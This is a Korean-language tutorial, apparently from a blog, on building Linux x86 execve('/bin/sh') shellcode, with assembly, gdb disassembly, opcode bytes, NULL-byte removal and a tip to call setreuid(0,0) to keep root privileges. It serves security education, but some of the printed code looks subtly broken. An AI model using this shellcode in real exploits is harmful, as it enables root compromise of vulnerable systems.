eax : 시스템 콜의 번호

ebx : 함수의 첫번째 인자

ecx : 함수의 두번쨰 인자

edx : 함수의 세번째 인자




write(1, "Hello, Students!\n", 17);

를 어셈블리어로 나타내면 아래와 같다.


.LCO:

.string "Hello, Students!\n"

.globl main

main:

movl $0x04, %eax

movl $0x01, %ebx

movl $.LCO, %ecx

movl $0x11, %edx

int $0x80

ret


위는 문자열을 주소값으로 참조하기 때문에 다른 환경에서 그 주소에 Hello, Students!라는 문자열이 있을 확률은 거의 없고  이 말은 문자열을 주소값으로 참조하는 쉘코드는 아무 쓸모가 없다는 말이다. 이 문제를 방지하기 위해서

일단 문자열의 시작 주소가 스택에 저장되도록 하고, 그 다음 스택에서 그 주소 값을 꺼내 %ecx 레지스터에 저장하면 되는 것이다. 아래와 같이 어셈블리코드를 짜면 된다.


.globl main

main:

jmp come_here

func:

movl $0x04, %eax

movl $0x01, %ebx

popl %ecx

movl $0x11, %edx

int $0x80

movl $0x01, %eax

movl $0x00, %ebx

int $0x80

come_here:

call func

.string "Hello, Students!\n"


call 명령에 의해 어떤 함수가 호출되면, 함수 종료 후 실행될 리턴 어드레스. 즉, call 명령 바로 다음 명령의 주소가 스택에 저장된다. 따라서 위의 경우엔 call func 바로 다음에 있는 "Hello..." 문자열의 시작 주소가 스택에 저장이 된다. 이를 통해 문자열을 바로 레지스터에 옮겨 이용할 수 있게 된다. 또한 문자열이 바뀌어도 call에 의한 위치는 변하지 않는다.






system("/bin/sh"); , execl("/bin/sh", "sh", 0); 를 사용하지 않는 이유는.. 

 두 함수 역시 내부적으로는 결국 execve() 함수를 사용하기 때문이다.


우리가 기능하고자 하는 최소한의 쉘코드기능은 아래의 코드와 같다.


int main()

{

char *str[2];

str[0] = "/bin/sh";

str[1] = 0;

execve(str[0], str, 0);

}


main함수를 어셈블리어로 표현하면 아래와 같다.


(gdb) disass main

Dump of assembler code for function main:

0x80481e0 <main>:       push   %ebp 

                        // 기존의 base point 값 저장

0x80481e1 <main+1>:     mov    %esp,%ebp

                        // 새로운 base point 값 설정

0x80481e3 <main+3>:     sub    $0x8,%esp

                        // 스택의 8 바이트의 공간 할당

0x80481e6 <main+6>:     movl   $0x808cec8,0xfffffff8(%ebp)

                        // str[0]에 "/bin/sh" 문자열의 주소 저장

0x80481ed <main+13>:    movl   $0x0,0xfffffffc(%ebp)

                        // str[1]에 NULL 저장                       

0x80481f4 <main+20>:    sub    $0x4,%esp

                        // DUMMY 값 할당

0x80481f7 <main+23>:    push   $0x0

                        // 세 번째 인자 0 저장

0x80481f9 <main+25>:    lea    0xfffffff8(%ebp),%eax

                        // str[0]의 주소 값을 %eax에 저장 

0x80481fc <main+28>:    push   %eax

                        // 두 번째 인자 str[0]의 주소 저장

0x80481fd <main+29>:    pushl  0xfffffff8(%ebp)

                        // 세 번째 인자 str[1] 저장

0x8048200 <main+32>:    call   0x804cb40 <execve>

                        // execve() 함수 호출




(gdb) disass execve

0x804cb46 <execve+6>:   mov    %esp,%ebp

0x804cb4c <execve+12>:  mov    0x8(%ebp),%edi 

                               // 첫 번째 인자인 str[1]

0x804cb56 <execve+22>:  mov    0xc(%ebp),%ecx

                               // 두 번째 인자인 str[0]의 주소

0x804cb59 <execve+25>:  mov    0x10(%ebp),%edx

                               // 세 번째 인자인 0

0x804cb5d <execve+29>:  mov    %edi,%ebx 

                               // str[1]을 다시 %ebx에 저장

0x804cb5f <execve+31>:  mov    $0xb,%eax 

                               // execve 시스템 콜 번호인 11

0x804cb64 <execve+36>:  int    $0x80





.globl main

main:

jmp     come_here

func:

movl    $0x0b, %eax

popl    %ebx

movl    %ebx, (%esi)

movl    $0x00, 0x4(%esi)

leal    (%esi), %ecx

movl    $0x00, %edx

int     $0x80

movl    $0x01, %eax

movl    $0x00, %ebx

int     $0x80


come_here:

calll func

.string "/bin/sh\00"


쉘코드가 strcpy() 등의 문자열을 다루는 함수에 사용된다면

쉘코드 내용이 중간에 짤려나가 버릴 것이다. 왜냐햐면, 대부분의 문자열을 다루는

함수들이 \x00(NULL) 문자를 만나면 그것이 문자열의 끝으로 인식하여 값을 읽어

들이는 작업을 중단하기 때문이다.


"xor %eax  %eax" <- %eax를 모두 0으로 바꾼 후..

"movb $0x0b  %eax" <- %eax의 끝 바이트에만 \x0b를 넣는다.


xor %esp, %esp

movl %esp, 0x7(%ebx)  8째 자리에 0x00


위의 과정을 거치고


불필요한 xor을 최소화하고 

exit(0) 부분은 제거 시킨다. 왜냐하면, /bin/sh이 실행되면서 새로운 메모리 공간으로

이동되기 때문에 exit(0)로 뒷 정리를 해줄 필요가 없다.



080483d0 <main>:

 80483d0:       eb 15                   jmp    80483e7 <come_here>

080483d2 <func>:

 80483d2:       31 c0                   xor    %eax,%eax

 80483d4:       5b                      pop    %ebx

 80483d5:       89 43 07                mov    %eax,0x7(%ebx)

 80483d8:       89 1e                   mov    %ebx,(%esi)

 80483da:       89 46 04                mov    %eax,0x4(%esi)

 80483dd:       b0 0b                   mov    $0xb,%al

 80483df:       31 e4                   xor    %esp,%esp

 80483e1:       8d 0e                   lea    (%esi),%ecx

 80483e3:       31 d2                   xor    %edx,%edx

 80483e5:       cd 80                   int    $0x80


080483e7 <come_here>:

 80483e7:       e8 e6 ff ff ff          call   80483d2 <func>

 80483ec:       2f                      das

 80483ed:       62 69 6e                bound  %ebp,0x6e(%ecx)

 80483f0:       2f                      das

 80483f1:       73 68                   jae    804845b <gcc2_compiled.+0x1b>



레드햇 버젼 7.0 이후에, /bin/sh(bash)가 백도어로 사용되는 것을 방지하기 위해 /bin/sh이 실행될 때 프로그램의 실행

권한이 아닌, 프로그램을 실행시킨 사용자의 권한으로 실행되기 때문이다.

따라서 mirable이라는 사용자가 root 권한의 파일을 해킹하여 /bin/sh을 실행하면,

root가 아닌, mirable 권한의 쉘을 얻게 된다. 하지만, 이 문제는 쉘을 실행시키기 전에 setreuid(0,0);을 호출함으로써 아주 쉽게 해결할 수 있다.




종류로는 

/bin/sh의 방어나 chroot(), 쉘코드 문자 필터링 등을 우회하는 쉘코드. 혹은, 리모트 환경 상에서 사용할 수 있는 bindshell, 

reverse telnet 쉘코드가 있다.


참고 : http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt

+ Recent posts